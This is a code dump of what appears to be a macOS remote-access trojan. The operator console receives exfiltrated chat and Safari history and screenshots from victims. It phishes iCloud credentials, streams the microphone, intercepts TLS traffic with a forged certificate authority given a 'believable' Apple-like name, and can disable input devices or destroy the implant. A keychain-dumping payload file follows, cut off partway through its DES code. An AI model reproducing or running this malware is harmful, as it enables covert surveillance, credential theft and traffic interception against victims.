SyntaxError, e: 244 | print "Enter a client number." 245 | continue 246 | 247 | clear() 248 | if activate==0: 249 | subprocess_cleanup(subprocess_list) 250 | print 'Exiting...' 251 | exit() 252 | activate -=1 #so array doesnt get thrown off 253 | ipadrr = clients[activate][0] 254 | active=True 255 | for i, x in enumerate(clients): 256 | if i != activate: 257 | #print 'Rejecting Connection from [%s, %s]' % clients[i] 258 | connections[i].close() 259 | print '%sAccepting%s Connection from [%s%s%s] at [%s%s%s]' % (yellow, endC, yellow, dater[i][0].split("->")[0], endC, yellow, clients[i][0], endC) 260 | send_msg(connections[activate], 'initializeSocket') 261 | first_run = True 262 | now = datetime.datetime.now() 263 | 264 | while active: 265 | try: 266 | columns = row_set() 267 | if ctrlC: 268 | if process_running: 269 | send_msg(connections[activate], 'sigint9kill') #this will kill their blocking program, reset our data 270 | while 1: 271 | x = recv_msg(connections[activate]) 272 | if x: 273 | if x[0] == 'terminated': 274 | break 275 | continue 276 | data = "\n" 277 | ctrlC = False 278 | else: 279 | (data, isFinished) = recv_msg(connections[activate]) 280 | if not isFinished: 281 | print data, #print it and continue 282 | continue #just go back to top and keep receiving 283 | nextcmd = '' 284 | process_running = False 285 | 286 | if type(data) == type(None): 287 | active=False 288 | print "\n%s%sLost connection to server.%s" % (red, bold, endC) 289 | 290 | if first_run == True: 291 | is_server_rooted = False 292 | if data == 'payload_request_SBJ129': 293 | print 'Payloads requested. Sending payloads...' 294 | with open('Payloads/payloads.txt', 'rb') as content: 295 | payloads = content.read() 296 | nextcmd = 'payload_response_SBJ29:::%s' % payloads 297 | workingdir, client_name, computername, client_log_path = ('',) * 4 298 | 299 | elif not data.splitlines()[0].startswith("bareNeccesities"): 300 | basicInfo = data.splitlines() 301 | if basicInfo[0] == 'ROOTED': 302 | is_server_rooted = True 303 | basicInfo.remove('ROOTED') 304 | computername = basicInfo[0] #hostname via scutil 305 | client_name = basicInfo[1] #username via whoami 306 | workingdir = basicInfo[2] #cwd via pwd 307 | last_login = basicInfo[3] #last login read via DB 308 | uptime = basicInfo[4] #bella uptime 309 | client_log_path = "%s%s/%s/" % (logpath, computername, client_name) 310 | if not os.path.exists(client_log_path): 311 | os.makedirs(client_log_path) 312 | first_run = False 313 | print 'Last Connected: %s -- %s' % (last_login, uptime) 314 | else: 315 | computername = data.splitlines()[1] #hostname via scutil 316 | client_name = data.splitlines()[2] #username via whoami 317 | workingdir = data.splitlines()[3] #cwd via pwd 318 | client_log_path = "%s%s/%s/" % (logpath, computername, client_name) 319 | if not os.path.exists(client_log_path): 320 | os.makedirs(client_log_path) 321 | first_run = False 322 | 323 | elif data.startswith('cwdcwd')==True: 324 | sdoof = data.splitlines() 325 | workingdir = sdoof[0][6:] 326 | file_list = map(str.lower, sdoof[1:]) + sdoof[1:] + commands 327 | string_log(workingdir + '\n', client_log_path, client_name) 328 | 329 | elif data.startswith('downloader')==True: 330 | (fileContent, file_name) = pickle.loads(data[10:]) 331 | downloader(fileContent, file_name, client_log_path, client_name) 332 | 333 | elif data.startswith("mitmReady")==True: 334 | os.system("osascript >/dev/null < 0: 350 | print "%sFound the following iCloud accounts.\n%s\nWhich would you like to use to phish current GUI user [%s]?" % (bluePlus, content[0], content[1]) 351 | appleID = content[0].split(' Apple ID: [')[1][:-2] 352 | else: 353 | print "%sCouldn't find any iCloud accounts.\nEnter one manually to phish current GUI user [%s]" % (bluePlus, content[1]) 354 | appleID = '' 355 | username = raw_input("Enter iCloud Account: ") or appleID 356 | if username == '': 357 | print 'No username specified, cancelling Phish' 358 | nextcmd = '' 359 | else: 360 | print "Phishing [%s%s%s]" % (blue, username, endC) 361 | nextcmd = "iCloudPhishFinal%s:%s" % (username, content[1]) 362 | 363 | elif data.startswith('screenCapture')==True: 364 | screen = data[13:] 365 | if screen == "error": 366 | print "%sError capturing screenshot!" % redX 367 | else: 368 | fancyTime = time.strftime("_%m-%d_%H_%M_%S") 369 | os.system("mkdir -p %sScreenshots" % client_log_path) 370 | with open("%sScreenshots/screenShot%s.png" % (client_log_path, fancyTime), "w") as shot: 371 | shot.write(base64.b64decode(screen)) 372 | time.sleep(1) 373 | os.system("open %sScreenshots/screenShot%s.png" % (client_log_path, fancyTime)) #We cannot have this here. Lets victim run code on our comp if they want. 374 | 375 | elif data.startswith('C5EBDE1F')==True: 376 | deserialize = pickle.loads(data[8:]) 377 | for x in deserialize: 378 | (name, data) = x #name will be the user, which we're going to want on the path 379 | downloader(bz2.decompress(data), 'ChatHistory_%s.db' % time.strftime("%m-%d_%H_%M_%S"), client_log_path, client_name, 'Chat/%s' % name) 380 | print "%sGot macOS Chat History" % greenCheck 381 | 382 | elif data.startswith('6E87CF0B')==True: 383 | deserialize = pickle.loads(data[8:]) 384 | for x in deserialize: 385 | (name, data) = x #name will be the user, which we're going to want on the path 386 | downloader(bz2.decompress(data), 'history_%s.txt' % time.strftime("%m-%d_%H_%M_%S"), client_log_path, client_name, 'Safari/%s' % name) 387 | print "%sGot Safari History" % greenCheck 388 | 389 | elif data.startswith('lserlser')==True: 390 | (rawfile_list, filePrint) = pickle.loads(data[8:]) 391 | widths = [max(map(len, col)) for col in zip(*filePrint)] 392 | for fileItem in filePrint: 393 | line = " ".join((val.ljust(width) for val, width in zip(fileItem, widths))) #does pretty print 394 | print line 395 | string_log(line, client_log_path, client_name) 396 | else: 397 | if len(data) == 0: 398 | sys.stdout.write('') 399 | else: 400 | print data, 401 | string_log(data, client_log_path, client_name) 402 | 403 | """Anything above this comment is what the server is sending us.""" 404 | ################################################################# 405 | """Anything below this comment is what we are sending the server.""" 406 | 407 | if data.startswith('Exit')==True: 408 | active=False 409 | subprocess_cleanup(subprocess_list) 410 | print "\n%s%sGoodbye.%s" % (blue, bold, endC) 411 | exit() 412 | else: 413 | if is_server_rooted: 414 | client_name_formatted = "%s%s@%s%s" % (red, client_name, computername, endC) 415 | else: 416 | client_name_formatted = "%s%s@%s%s" % (green, client_name, computername, endC) 417 | 418 | if workingdir.startswith("/Users/" + client_name.lower()) or workingdir.startswith("/Users/" + client_name): 419 | pathlen = 7 + len(client_name) #where 7 is our length of /Users/ 420 | workingdir = "~" + workingdir[pathlen:] #change working dir to ~[/users/name:restofpath] (in that range) 421 | 422 | workingdirFormatted = blue + workingdir + endC 423 | if macOS_rl: 424 | readline.parse_and_bind("bind ^I rl_complete") 425 | readline.set_completer(tab_parser) 426 | else: 427 | gnureadline.parse_and_bind("tab: complete") 428 | gnureadline.set_completer(tab_parser) 429 | if nextcmd == "": 430 | try: 431 | nextcmd = raw_input("[%s]-[%s] " % (client_name_formatted, workingdirFormatted)) 432 | string_log("[%s]-[%s] %s" % (client_name, workingdirFormatted, nextcmd), client_log_path, client_name) 433 | except EOFError, e: 434 | nextcmd = "exit" 435 | else: 436 | pass 437 | 438 | if nextcmd == "removeserver_yes": 439 | verify = raw_input("Are you sure you want to delete [%s]?\n🦑 This cannot be un-done. (Y/n): " % computername) 440 | if verify.lower() == "y": 441 | print "%s%sRemote server is being removed and permanently deleted.%s" % (red, bold, endC) 442 | nextcmd = "removeserver_yes" 443 | print "%s%sDestruct routine successfully sent. Server is destroyed.%s" % (red, bold, endC) 444 | else: 445 | print "Not deleting server." 446 | nextcmd = "" 447 | 448 | if nextcmd == "cls": 449 | file_list = commands 450 | nextcmd = "" 451 | 452 | if nextcmd == ("mitm_start"): 453 | try: 454 | import mitmproxy 455 | except ImportError: 456 | print 'You need to install the python library "mitmproxy" to use this function.' 457 | break 458 | if not os.path.isfile("%smitm.crt" % helperpath): 459 | print "%sNo local Certificate Authority found.\nThis is necessary to decrypt TLS/SSL traffic.\nFollow the steps below to generate the certificates.%s\n\n" % (red, endC) 460 | os.system("openssl genrsa -out mitm.key 2048") 461 | print "%s\n\nYou can put any information here. Common Name is what will show up in the Keychain, so you may want to make this a believable name (IE 'Apple Security').%s\n\n" % (red, endC) 462 | os.system("openssl req -new -x509 -key mitm.key -out mitm.crt") 463 | os.system("cat mitm.key mitm.crt > mitmproxy-ca.pem") 464 | os.remove("mitm.key") 465 | os.system("mv mitmproxy-ca.pem mitm.crt %s" % helperpath) 466 | #mitm.crt is the cert we will install on remote client. 467 | #mitmproxy-ca.pem is for mitmproxy 468 | print '%sGenerated all certs. Sending over to client.%s' % (green, endC) 469 | with open('%smitm.crt' % helperpath, 'r') as content: 470 | cert = content.read() 471 | print 'Found the following certificate:' 472 | for x in subprocess.check_output("keytool -printcert -file %smitm.crt" % helperpath, shell=True).splitlines(): 473 | if 'Issuer: ' in x: 474 | print "%s%s%s" % (lightBlue, x, endC) 475 | interface = raw_input("🚀 Specify an interface to MITM [Press enter for Wi-Fi]: ").replace("[", "").replace("]", "") or "Wi-Fi" 476 | nextcmd = "mitm_start:::%s:::%s" % (interface, cert) 477 | 478 | if nextcmd == ("mitm_kill"): 479 | for x in subprocess.check_output("keytool -printcert -file %smitm.crt" % helperpath, shell=True).splitlines(): 480 | if 'SHA1: ' in x: 481 | certsha = ''.join(x.split(':')[1:]).replace(' ', '') 482 | break 483 | certsha = False 484 | if not certsha: 485 | print 'Could not find certificate to delete. You may see some warnings.' 486 | interface = raw_input("🎯 Specify an interface to stop MITM [Press enter for Wi-Fi]: ").replace("[", "").replace("]", "") or "Wi-Fi" 487 | nextcmd = "mitm_kill:::%s:::%s" % (interface, certsha) 488 | 489 | if nextcmd == "clear": 490 | clear() 491 | nextcmd = "printf ''" 492 | 493 | if nextcmd == "restart": 494 | nextcmd = "osascript -e 'tell application \"System Events\" to restart'" 495 | 496 | if nextcmd == "disableKM": 497 | print "[1] Keyboard | [2] Mouse" 498 | device = raw_input("Which device would you like to disable? ") 499 | if device == "1": 500 | nextcmd = "disableKMkeyboard" 501 | elif device == "2": 502 | nextcmd = "disableKMmouse" 503 | else: 504 | nextcmd = "printf 'You must specify a device [1] || [2].\n'" 505 | 506 | if nextcmd == "enableKM": 507 | print "[1] Keyboard | [2] Mouse" 508 | device = raw_input("Which device would you like to enable? [BUGGY, MAY CAUSE KERNEL PANIC] ") 509 | if device == "1": 510 | nextcmd = "enableKMkeyboard" 511 | elif device == "2": 512 | nextcmd = "enableKMmouse" 513 | else: 514 | nextcmd = "printf 'You must specify a device [1] || [2].\n'" 515 | 516 | if nextcmd == "shutdown": 517 | nextcmd = "osascript -e 'tell application \"System Events\" to shut down'" 518 | 519 | if nextcmd == "mike_stream": 520 | try: 521 | if not os.path.exists(client_log_path + 'Microphone'): 522 | os.makedirs(client_log_path + 'Microphone') 523 | subprocess.check_output("osascript >/dev/null <&1 | %s/Payloads/speakerpipe\"\n\ 527 | end ignoring\n\ 528 | end tell\n\ 529 | EOF" % (client_log_path, 'Microphone/', time.strftime("%b %d %Y %I:%M:%S %p"), os.getcwd()), shell=True) #tee the output for later storage, and also do an immediate stream 530 | except subprocess.CalledProcessError as e: 531 | pass #this is expected 'execution error: Can't get end' 532 | except Exception as e: 533 | print 'Error launching listener.\n[%s]' % e 534 | nextcmd = '' 535 | 536 | if nextcmd == "shutdown_server": 537 | nextcmd = "" 538 | if raw_input("Are you sure you want to shutdown the server?\nThis will unload all LaunchAgents: (Y/n) ").lower() == "y": 539 | nextcmd = "shutdownserver_yes" 540 | 541 | if nextcmd == "updateserver_yes": 542 | if raw_input("Are you sure you want to update the server?: (Y/n) ").lower() == "y": 543 | nextcmd = "updateserver_yes" 544 | else: 545 | nextcmd = "" 546 | 547 | if nextcmd == "vnc": 548 | vnc_port = 5500 549 | nextcmd = "vnc_start:::%s" % vnc_port 550 | proc = subprocess.Popen("/Applications/VNC\ Viewer.app/Contents/MacOS/vncviewer -listen %s" % vnc_port, shell=True) 551 | subprocess_list.append(proc.pid) 552 | 553 | if nextcmd == "volume": 554 | vol_level = str(raw_input("Set volume to? (0[low]-7[high]) ")) 555 | nextcmd = "osascript -e \"Set Volume \"" + vol_level + "" 556 | 557 | if nextcmd == "sysinfo": 558 | nextcmd = 'scutil --get LocalHostName; whoami; pwd; echo "----------"; sw_vers; ioreg -l | awk \'/IOPlatformSerialNumber/ { print "SerialNumber: \t" $4;}\'; echo "----------";sysctl -n machdep.cpu.brand_string; hostinfo | grep memory; df -h / | grep dev | awk \'{ printf $3}\'; printf "/"; df -h / | grep dev | awk \'{ printf $2 }\'; echo " HDD space used"; echo "----------"; printf "Local IP: "; ipconfig getifaddr en0; ipconfig getifaddr en1; printf "Current Window: "; python -c \'from AppKit import NSWorkspace; print NSWorkspace.sharedWorkspace().frontmostApplication().localizedName()\'; echo "----------"' 559 | 560 | if nextcmd.startswith("upload"): #uploads to CWD. 561 | if nextcmd == "upload": 562 | local_file= raw_input("🌈 Enter full path to file on local machine: ") 563 | else: 564 | local_file = nextcmd[7:] #take path as stdin 565 | local_file = subprocess.check_output('printf %s' % local_file, shell=True) #get the un-escaped version for python recognition 566 | if os.path.isfile(local_file): 567 | with open(local_file, 'rb') as content: 568 | sendFile = content.read() 569 | file_name = content.name.split('/')[-1] #get absolute file name (not path) 570 | file_name = raw_input("Uploading file as [%s]. Enter new name if desired: " % file_name) or file_name 571 | nextcmd = "uploader%s" % pickle.dumps((sendFile, file_name)) 572 | else: 573 | print "Could not find [%s]!" % local_file 574 | nextcmd = '' 575 | 576 | if nextcmd.startswith("download"): #uploads to CWD. 577 | if nextcmd == "download": 578 | remote_file = raw_input("🐸 Enter path to file on remote machine: ") 579 | else: 580 | remote_file = nextcmd[9:] #take path as stdin 581 | nextcmd = 'download' + remote_file 582 | 583 | if len(nextcmd) == 0: 584 | nextcmd = "printf ''" 585 | 586 | send_msg(connections[activate], nextcmd) #bring home the bacon 587 | process_running = True 588 | 589 | except KeyboardInterrupt: 590 | ctrlC = True 591 | continue 592 | 593 | except socket.error as v: 594 | active = False 595 | clear() 596 | if v[0] == 54: 597 | subprocess_cleanup(subprocess_list) 598 | print "%s%sBroken pipe." % (red, bold, endC) 599 | exit() 600 | 601 | if __name__ == '__main__': 602 | main() 603 | -------------------------------------------------------------------------------- /Payloads/smallbreaker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Author : n0fate 3 | # E-Mail rapfer@gmail.com, n0fate@n0fate.com 4 | # 5 | # This program is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 2 of the License, or (at 8 | # your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | # 19 | import argparse 20 | import os, time 21 | from sys import exit 22 | import struct 23 | from binascii import unhexlify 24 | import datetime 25 | from hexdump import hexdump 26 | from ctypes import * 27 | import sha 28 | import hmac 29 | from binascii import hexlify, unhexlify 30 | from struct import pack 31 | ECB = 0 32 | CBC = 1 33 | class des: 34 | __pc1 = [56, 48, 40, 32, 24, 16, 8, 35 | 0, 57, 49, 41, 33, 25, 17, 36 | 9, 1, 58, 50, 42, 34, 26, 37 | 18, 10, 2, 59, 51, 43, 35, 38 | 62, 54, 46, 38, 30, 22, 14, 39 | 6, 61, 53, 45, 37, 29, 21, 40 | 13, 5, 60, 52, 44, 36, 28, 41 | 20, 12, 4, 27, 19, 11, 3 42 | ] 43 | __left_rotations = [ 44 | 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 45 | ] 46 | 47 | # permuted choice key (table 2) 48 | __pc2 = [ 49 | 13, 16, 10, 23, 0, 4, 50 | 2, 27, 14, 5, 20, 9, 51 | 22, 18, 11, 3, 25, 7, 52 | 15, 6, 26, 19, 12, 1, 53 | 40, 51, 30, 36, 46, 54, 54 | 29, 39, 50, 44, 32, 47, 55 | 43, 48, 38, 55, 33, 52, 56 | 45, 41, 49, 35, 28, 31 57 | ] 58 | 59 | # initial permutation IP 60 | __ip = [57, 49, 41, 33, 25, 17, 9, 1, 61 | 59, 51, 43, 35, 27, 19, 11, 3, 62 | 61, 53, 45, 37, 29, 21, 13, 5, 63 | 63, 55, 47, 39, 31, 23, 15, 7, 64 | 56, 48, 40, 32, 24, 16, 8, 0, 65 | 58, 50, 42, 34, 26, 18, 10, 2, 66 | 60, 52, 44, 36, 28, 20, 12, 4, 67 | 62, 54, 46, 38, 30, 22, 14, 6 68 | ] 69 | 70 | # Expansion table for turning 32 bit blocks into 48 bits 71 | __expansion_table = [ 72 | 31, 0, 1, 2, 3, 4, 73 | 3, 4, 5, 6, 7, 8, 74 | 7, 8, 9, 10, 11, 12, 75 | 11, 12, 13, 14, 15, 16, 76 | 15, 16, 17, 18, 19, 20, 77 | 19, 20, 21, 22, 23, 24, 78 | 23, 24, 25, 26, 27, 28, 79 | 27, 28, 29, 30, 31, 0 80 | ] 81 | 82 | # The (in)famous S-boxes 83 | __sbox = [ # S1 84 | [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 85 | 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 86 | 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 87 | 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 88 | [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 89 | 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 90 | 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 91 | 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 92 | [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 93 | 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 94 | 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 95 | 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 96 | [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 97 | 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 98 | 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 99 | 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 100 | [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 101 | 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 102 | 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 103 | 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 104 | [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 105 | 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 106 | 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 107 | 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 108 | [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 109 | 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 110 | 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 111 | 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 112 | [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 113 | 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 114 | 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 115 | 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], 116 | ] 117 | 118 | 119 | # 32-bit permutation function P used on the output of the S-boxes 120 | __p = [ 121 | 15, 6, 19, 20, 28, 11, 122 | 27, 16, 0, 14, 22, 25, 123 | 4, 17, 30, 9, 1, 7, 124 | 23, 13, 31, 26, 2, 8, 125 | 18, 12, 29, 5, 21, 10, 126 | 3, 24 127 | ] 128 | 129 | # final permutation IP^-1 130 | __fp = [ 131 | 39, 7, 47, 15, 55, 23, 63, 31, 132 | 38, 6, 46, 14, 54, 22, 62, 30, 133 | 37, 5, 45, 13, 53, 21, 61, 29, 134 | 36, 4, 44, 12, 52, 20, 60, 28, 135 | 35, 3, 43, 11, 51, 19, 59, 27, 136 | 34, 2, 42, 10, 50, 18, 58, 26, 137 | 33, 1, 41, 9, 49, 17, 57, 25, 138 | 32, 0, 40, 8, 48, 16, 56, 24 139 | ] 140 | 141 | # Type of crypting being done 142 | ENCRYPT = 0x00 143 | DECRYPT = 0x01 144 | 145 | # Initialisation 146 | def __init__(self, key, mode=ECB, IV=None): 147 | if len(key) != 8: 148 | raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") 149 | self.block_size = 8 150 | self.key_size = 8 151 | self.__padding = '' 152 | 153 | # Set the passed in variables 154 | self.setMode(mode) 155 | if IV: 156 | self.setIV(IV) 157 | 158 | self.L = [] 159 | self.R = [] 160 | self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) 161 | self.final = [] 162 | 163 | self.setKey(key) 164 | 165 | 166 | def getKey(self): 167 | """getKey() -> string""" 168 | return self.__key 169 | 170 | def setKey(self, key): 171 | """Will set the crypting key for this object. Must be 8 bytes.""" 172 | self.__key = key 173 | self.__create_sub_keys() 174 | 175 | def getMode(self): 176 | """getMode() -> pyDes.ECB or pyDes.CBC""" 177 | return self.__mode 178 | 179 | def setMode(self, mode): 180 | """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" 181 | self.__mode = mode 182 | 183 | def getIV(self): 184 | """getIV() -> string""" 185 | return self.__iv 186 | 187 | def setIV(self, IV): 188 | """Will set the Initial Value, used in conjunction with CBC mode""" 189 | if not IV or len(IV) != self.block_size: 190 | raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") 191 | self.__iv = IV 192 | 193 | def getPadding(self): 194 | """getPadding() -> string of length 1. Padding character.""" 195 | return self.__padding 196 | 197 | def __String_to_BitList(self, data): 198 | """Turn the string data, into a list of bits (1, 0)'s""" 199 | l = len(data) * 8 200 | result = [0] * l 201 | pos = 0 202 | for c in data: 203 | i = 7 204 | ch = ord(c) 205 | while i >= 0: 206 | if ch & (1 << i) != 0: 207 | result[pos] = 1 208 | else: 209 | result[pos] = 0 210 | pos += 1 211 | i -= 1 212 | 213 | return result 214 | 215 | def __BitList_to_String(self, data): 216 | """Turn the list of bits -> data, into a string""" 217 | result = '' 218 | pos = 0 219 | c = 0 220 | while pos < len(data): 221 | c += data[pos] << (7 - (pos % 8)) 222 | if (pos % 8) == 7: 223 | result += chr(c) 224 | c = 0 225 | pos += 1 226 | 227 | return result 228 | 229 | def __permutate(self, table, block): 230 | """Permutate this block with the specified table""" 231 | return map(lambda x: block[x], table) 232 | 233 | # Transform the secret key, so that it is ready for data processing 234 | # Create the 16 subkeys, K[1] - K[16] 235 | def __create_sub_keys(self): 236 | """Create the 16 subkeys K[1] to K[16] from the given key""" 237 | key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) 238 | i = 0 239 | # Split into Left and Right sections 240 | self.L = key[:28] 241 | self.R = key[28:] 242 | while i < 16: 243 | j = 0 244 | # Perform circular left shifts 245 | while j < des.__left_rotations[i]: 246 | self.L.append(self.L[0]) 247 | del self.L[0] 248 | 249 | self.R.append(self.R[0]) 250 | del self.R[0] 251 | 252 | j += 1 253 | 254 | # Create one of the 16 subkeys through pc2 permutation 255 | self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) 256 | 257 | i += 1 258 | 259 | # Main part of the encryption algorithm, the number cruncher :) 260 | def __des_crypt(self, block, crypt_type): 261 | """Crypt the block of data through DES bit-manipulation""" 262 | block = self.__permutate(des.__ip, block) 263 | self.L = block[:32] 264 | self.R = block[32:] 265 | 266 | # Encryption starts from Kn[1] through to Kn[16] 267 | if crypt_type == des.ENCRYPT: 268 | iteration = 0 269 | iteration_adjustment = 1 270 | # Decryption starts from Kn[16] down to Kn[1] 271 | else: 272 | iteration = 15 273 | iteration_adjustment = -1 274 | 275 | i = 0 276 | while i < 16: 277 | # Make a copy of R[i-1], this will later become L[i] 278 | tempR = self.R[:] 279 | 280 | # Permutate R[i - 1] to start creating R[i] 281 | self.R = self.__permutate(des.__expansion_table, self.R) 282 | 283 | # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here 284 | self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) 285 | B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], 286 | self.R[42:]] 287 | # Optimization: Replaced below commented code with above 288 | #j = 0 289 | #B = [] 290 | #while j < len(self.R): 291 | # self.R[j] = self.R[j] ^ self.Kn[iteration][j] 292 | # j += 1 293 | # if j % 6 == 0: 294 | # B.append(self.R[j-6:j]) 295 | 296 | # Permutate B[1] to B[8] using the S-Boxes 297 | j = 0 298 | Bn = [0] * 32 299 | pos = 0 300 | while j < 8: 301 | # Work out the offsets 302 | m = (B[j][0] << 1) + B[j][5] 303 | n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] 304 | 305 | # Find the permutation value 306 | v = des.__sbox[j][(m << 4) + n] 307 | 308 | # Turn value into bits, add it to result: Bn 309 | Bn[pos] = (v & 8) >> 3 310 | Bn[pos + 1] = (v & 4) >> 2 311 | Bn[pos + 2] = (v & 2) >> 1 312 | Bn[pos + 3] = v & 1 313 | 314 | pos += 4 315 | j += 1 316 | 317 | # Permutate the concatination of B[1] to B[8] (Bn) 318 | self.R = self.__permutate(des.__p, Bn) 319 | 320 | # Xor with L[i - 1] 321 | self.R = map(lambda x, y: x ^ y, self.R, self.L) 322 | # Optimization: This now replaces the below commented code 323 | #j = 0 324 | #while j < len(self.R): 325 | # self.R[j] = self.R[j] ^ self.L[j] 326 | # j += 1 327 | 328 | # L[i] becomes R[i - 1] 329 | self.L = tempR 330 | 331 | i += 1 332 | iteration += iteration_adjustment 333 | 334 | # Final permutation of R[16]L[16] 335 | self.final = self.__permutate(des.__fp, self.R + self.L) 336 | return self.final 337 | 338 | 339 | # Data to be encrypted/decrypted 340 | def crypt(self, data, crypt_type): 341 | """Crypt the data in blocks, running it through des_crypt()""" 342 | 343 | # Error check the data 344 | if not data: 345 | return '' 346 | if len(data) % self.block_size != 0: 347 | if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks 348 | raise ValueError( 349 | "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") 350 | if not self.getPadding(): 351 | raise ValueError("Invalid data length, data must be a multiple of " + str( 352 | self.block_size) + " bytes\n. Try setting the optional padding character") 353 | else: 354 | data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() 355 | # print "Len of data: %f" % (len(data) / self.block_size) 356 | 357 | if self.getMode() == CBC: 358 | if self.getIV(): 359 | iv = self.__String_to_BitList(self.getIV()) 360 | else: 361 | raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") 362 | 363 | # Split the data into blocks, crypting each one seperately 364 | i = 0 365 | dict = {} 366 | result = [] 367 | #cached = 0 368 | #lines = 0 369 | while i < len(data): 370 | # Test code for caching encryption results 371 | #lines += 1 372 | #if dict.has_key(data[i:i+8]): 373 | #print "Cached result for: %s" % data[i:i+8] 374 | # cached += 1 375 | # result.append(dict[data[i:i+8]]) 376 | # i += 8 377 | # continue 378 | 379 | block = self.__String_to_BitList(data[i:i + 8]) 380 | 381 | # Xor with IV if using CBC mode 382 | if self.getMode() == CBC: 383 | if crypt_type == des.ENCRYPT: 384 | block = map(lambda x, y: x ^ y, block, iv) 385 | #j = 0 386 | #while j < len(block): 387 | # block[j] = block[j] ^ iv[j] 388 | # j += 1 389 | 390 | processed_block = self.__des_crypt(block, crypt_type) 391 | 392 | if crypt_type == des.DECRYPT: 393 | processed_block = map(lambda x, y: x ^ y, processed_block, iv) 394 | #j = 0 395 | #while j < len(processed_block): 396 | # processed_block[j] = processed_block[j] ^ iv[j] 397 | # j += 1 398 | iv = block 399 | else: 400 | iv = processed_block 401 | else: 402 | processed_block = self.__des_crypt(block, crypt_type) 403 | 404 | 405 | # Add the resulting crypted block to our list 406 | #d = self.__BitList_to_String(processed_block) 407 | #result.append(d) 408 | result.append(self.__BitList_to_String(processed_block)) 409 | #dict[data[i:i+8]] = d 410 | i += 8 411 | 412 | # print "Lines: %d, cached: %d" % (lines, cached) 413 | 414 | # Remove the padding from the last block 415 | if crypt_type == des.DECRYPT and self.getPadding(): 416 | #print "Removing decrypt pad" 417 | s = result[-1] 418 | while s[-1] == self.getPadding(): 419 | s = s[:-1] 420 | result[-1] = s 421 | 422 | # Return the full crypted string 423 | return ''.join(result) 424 | 425 | def encrypt(self, data, pad=''): 426 | """encrypt(data, [pad]) -> string 427 | 428 | data : String to be encrypted 429 | pad : Optional argument for encryption padding. Must only be one byte 430 | 431 | The data must be a multiple of 8 bytes and will be encrypted 432 | with the already specified key. Data does not have to be a 433 | 